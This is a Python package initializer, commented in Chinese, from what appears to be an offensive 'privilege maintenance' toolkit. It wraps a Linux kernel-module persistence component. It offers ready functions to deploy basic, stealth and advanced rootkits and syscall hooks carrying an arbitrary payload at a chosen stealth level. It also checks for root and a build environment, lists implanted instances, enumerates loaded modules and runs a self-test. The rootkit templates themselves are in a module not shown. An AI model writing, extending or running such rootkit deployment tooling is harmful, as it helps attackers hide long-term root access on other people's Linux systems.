#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
内核模块级权限维持子模块
实现基于Linux内核模块(LKM)的权限维持技术
"""

from .core import LKMPersistenceModule
from ..base import PersistenceConfig, PersistenceResult, PersistenceStatus, PersistenceLevel

# 模块信息
__version__ = "1.0.0"
__author__ = "privilege-maDev Team"
__description__ = "内核模块级权限维持模块"

# 导出的类和函数
__all__ = [
    'LKMPersistenceModule',
    'create_module',
    'get_module_info',
    'is_available',
    'quick_deploy',
    'list_instances',
    'cleanup_all',
    'test_module'
]


def create_module():
    """创建内核模块级权限维持模块实例"""
    return LKMPersistenceModule()


def get_module_info():
    """获取模块信息"""
    return {
        'name': 'lkm',
        'version': __version__,
        'author': __author__,
        'description': __description__,
        'supported_platforms': ['linux'],
        'persistence_types': ['kernel_module', 'rootkit', 'syscall_hook'],
        'stealth_levels': list(range(1, 11)),
        'requires_root': True,
        'requires_compilation': True,
        'dependencies': ['gcc', 'make', 'kernel-headers']
    }


def is_available():
    """检查模块是否可用"""
    try:
        import subprocess
        import os
        
        # 检查平台
        if os.name != 'posix':
            return False, "需要Linux平台"
        
        # 检查root权限
        if os.getuid() != 0:
            return False, "需要root权限"
        
        module = create_module()
        
        # 检查内核版本
        kernel_version = module._get_kernel_version()
        if not module._is_kernel_supported(kernel_version):
            return False, f"不支持的内核版本: {kernel_version[0]}.{kernel_version[1]}"
        
        # 检查编译环境
        if not module._check_build_environment():
            return False, "缺少编译环境 (gcc, make, kernel-headers)"
        
        return True, "模块可用"
        
    except Exception as e:
        return False, f"检查失败: {str(e)}"


def quick_deploy(payload, stealth_level=7, template_type=None):
    """快速部署内核模块级权限维持
    
    Args:
        payload: 要执行的payload
        stealth_level: 隐蔽级别 (1-10)
        template_type: 模块模板类型 (可选: basic, stealth, advanced)
    
    Returns:
        PersistenceResult: 部署结果
    """
    try:
        module = create_module()
        
        config = PersistenceConfig(
            payload=payload,
            stealth_level=stealth_level
        )
        
        # 如果指定了模板类型，临时修改模块的模板选择
        if template_type:
            original_method = module._select_module_template
            module._select_module_template = lambda x: template_type
            
            try:
                result = module.deploy(config)
            finally:
                module._select_module_template = original_method
            
            return result
        else:
            return module.deploy(config)
        
    except Exception as e:
        return PersistenceResult(
            success=False,
            message=f"快速部署失败: {str(e)}",
            instance_id=None
        )


def list_instances():
    """列出所有内核模块级权限维持实例"""
    try:
        module = create_module()
        return module.list_instances()
    except Exception as e:
        return []


def cleanup_all():
    """清理所有内核模块级权限维持实例"""
    try:
        module = create_module()
        results = []
        
        for instance in module.list_instances():
            result = module.clean(instance['instance_id'])
            results.append({
                'instance_id': instance['instance_id'],
                'module_name': instance.get('module_name'),
                'cleanup_result': result
            })
        
        return results
        
    except Exception as e:
        return [{'error': f"清理失败: {str(e)}"}]


def test_module():
    """测试模块功能"""
    results = {
        'module_info': get_module_info(),
        'availability': is_available(),
        'tests': []
    }
    
    try:
        module = create_module()
        
        # 测试1: 模块初始化
        results['tests'].append({
            'name': 'module_initialization',
            'success': True,
            'message': '模块初始化成功'
        })
        
        # 测试2: 平台支持检查
        platform_supported = module.is_platform_supported()
        results['tests'].append({
            'name': 'platform_support',
            'success': platform_supported,
            'message': '平台支持检查' + ('通过' if platform_supported else '失败')
        })
        
        # 测试3: 内核版本检查
        kernel_version = module._get_kernel_version()
        kernel_supported = module._is_kernel_supported(kernel_version)
        results['tests'].append({
            'name': 'kernel_version_check',
            'success': kernel_supported,
            'message': f'内核版本 {kernel_version[0]}.{kernel_version[1]} ' + 
                      ('支持' if kernel_supported else '不支持')
        })
        
        # 测试4: 编译环境检查
        build_env_ok = module._check_build_environment()
        results['tests'].append({
            'name': 'build_environment_check',
            'success': build_env_ok,
            'message': '编译环境' + ('可用' if build_env_ok else '不可用')
        })
        
        # 测试5: root权限检查
        has_root = module._check_root_privileges()
        results['tests'].append({
            'name': 'root_privileges_check',
            'success': has_root,
            'message': 'root权限' + ('可用' if has_root else '不可用')
        })
        
        # 测试6: 配置验证
        test_config = PersistenceConfig(
            payload="// test payload",
            stealth_level=5
        )
        
        validation_result = module.validate_config(test_config)
        results['tests'].append({
            'name': 'config_validation',
            'success': validation_result.success,
            'message': validation_result.message
        })
        
        # 测试7: 模板选择
        for level in [3, 6, 9]:
            template = module._select_module_template(level)
            results['tests'].append({
                'name': f'template_selection_level_{level}',
                'success': True,
                'message': f'隐蔽级别{level}选择模板: {template}'
            })
        
        # 测试8: 模块名称生成
        module_name = module._generate_module_name(7)
        results['tests'].append({
            'name': 'module_name_generation',
            'success': len(module_name) > 0,
            'message': f'生成模块名称: {module_name}'
        })
        
    except Exception as e:
        results['tests'].append({
            'name': 'test_error',
            'success': False,
            'message': f'测试过程出错: {str(e)}'
        })
    
    return results


# 便捷函数
def deploy_basic_rootkit(payload, stealth_level=5):
    """部署基础rootkit"""
    return quick_deploy(payload, stealth_level, 'basic')


def deploy_stealth_rootkit(payload, stealth_level=7):
    """部署隐蔽rootkit"""
    return quick_deploy(payload, stealth_level, 'stealth')


def deploy_advanced_rootkit(payload, stealth_level=9):
    """部署高级rootkit"""
    return quick_deploy(payload, stealth_level, 'advanced')


def deploy_syscall_hook(payload, stealth_level=8):
    """部署系统调用hook"""
    return quick_deploy(payload, stealth_level, 'advanced')


# 高级功能
def get_kernel_info():
    """获取内核信息"""
    try:
        module = create_module()
        
        kernel_version = module._get_kernel_version()
        
        info = {
            'kernel_version': f"{kernel_version[0]}.{kernel_version[1]}",
            'kernel_supported': module._is_kernel_supported(kernel_version),
            'build_environment': module._check_build_environment(),
            'root_privileges': module._check_root_privileges()
        }
        
        # 获取更多内核信息
        try:
            import subprocess
            
            # 内核版本详细信息
            result = subprocess.run(['uname', '-a'], capture_output=True, text=True)
            info['kernel_full'] = result.stdout.strip()
            
            # 编译器版本
            result = subprocess.run(['gcc', '--version'], capture_output=True, text=True)
            info['gcc_version'] = result.stdout.split('\n')[0]
            
            # 内核头文件路径
            result = subprocess.run(['uname', '-r'], capture_output=True, text=True)
            kernel_release = result.stdout.strip()
            info['headers_path'] = f"/lib/modules/{kernel_release}/build"
            
        except Exception:
            pass
        
        return info
        
    except Exception as e:
        return {'error': f"获取内核信息失败: {str(e)}"}


def get_loaded_modules():
    """获取已加载的模块列表"""
    try:
        import subprocess
        
        result = subprocess.run(['lsmod'], capture_output=True, text=True)
        if result.returncode == 0:
            lines = result.stdout.strip().split('\n')[1:]  # 跳过标题行
            modules = []
            
            for line in lines:
                parts = line.split()
                if len(parts) >= 3:
                    modules.append({
                        'name': parts[0],
                        'size': parts[1],
                        'used_by': parts[2] if parts[2] != '-' else None
                    })
            
            return modules
        
        return []
        
    except Exception as e:
        return []


def check_module_loaded(module_name):
    """检查指定模块是否已加载"""
    try:
        module = create_module()
        return module._is_module_loaded(module_name)
    except Exception:
        return False


def get_lkm_status():
    """获取LKM状态信息"""
    try:
        module = create_module()
        
        status = {
            'kernel_info': get_kernel_info(),
            'loaded_modules_count': len(get_loaded_modules()),
            'existing_instances': len(list_instances()),
            'available_templates': ['basic', 'stealth', 'advanced']
        }
        
        return status
        
    except Exception as e:
        return {'error': f"获取状态失败: {str(e)}"}


# 模块自检
if __name__ == "__main__":
    print("=== 内核模块级权限维持模块自检 ===")
    
    # 获取模块信息
    info = get_module_info()
    print(f"模块名称: {info['name']}")
    print(f"版本: {info['version']}")
    print(f"描述: {info['description']}")
    print(f"支持平台: {', '.join(info['supported_platforms'])}")
    print(f"支持的持久化类型: {', '.join(info['persistence_types'])}")
    print(f"需要root权限: {info['requires_root']}")
    print(f"需要编译: {info['requires_compilation']}")
    
    # 检查可用性
    available, message = is_available()
    print(f"模块可用性: {'可用' if available else '不可用'}")
    print(f"检查结果: {message}")
    
    # 获取内核信息
    print("\n=== 内核信息 ===")
    kernel_info = get_kernel_info()
    for key, value in kernel_info.items():
        print(f"{key}: {value}")
    
    # 获取LKM状态
    print("\n=== LKM状态信息 ===")
    lkm_status = get_lkm_status()
    for key, value in lkm_status.items():
        print(f"{key}: {value}")
    
    # 运行测试
    print("\n=== 运行模块测试 ===")
    test_results = test_module()
    
    for test in test_results['tests']:
        status = "✓" if test['success'] else "✗"
        print(f"{status} {test['name']}: {test['message']}")
    
    # 列出现有实例
    print("\n=== 现有实例 ===")
    instances = list_instances()
    if instances:
        for instance in instances:
            print(f"- {instance['instance_id']}: {instance.get('module_name')} "
                  f"({instance.get('status')}) - {instance.get('template_type')}")
    else:
        print("无现有实例")
    
    # 列出已加载的模块
    print("\n=== 已加载的内核模块 (前10个) ===")
    loaded_modules = get_loaded_modules()[:10]
    for module in loaded_modules:
        print(f"- {module['name']}: {module['size']} bytes")
    
    print("\n=== 自检完成 ===")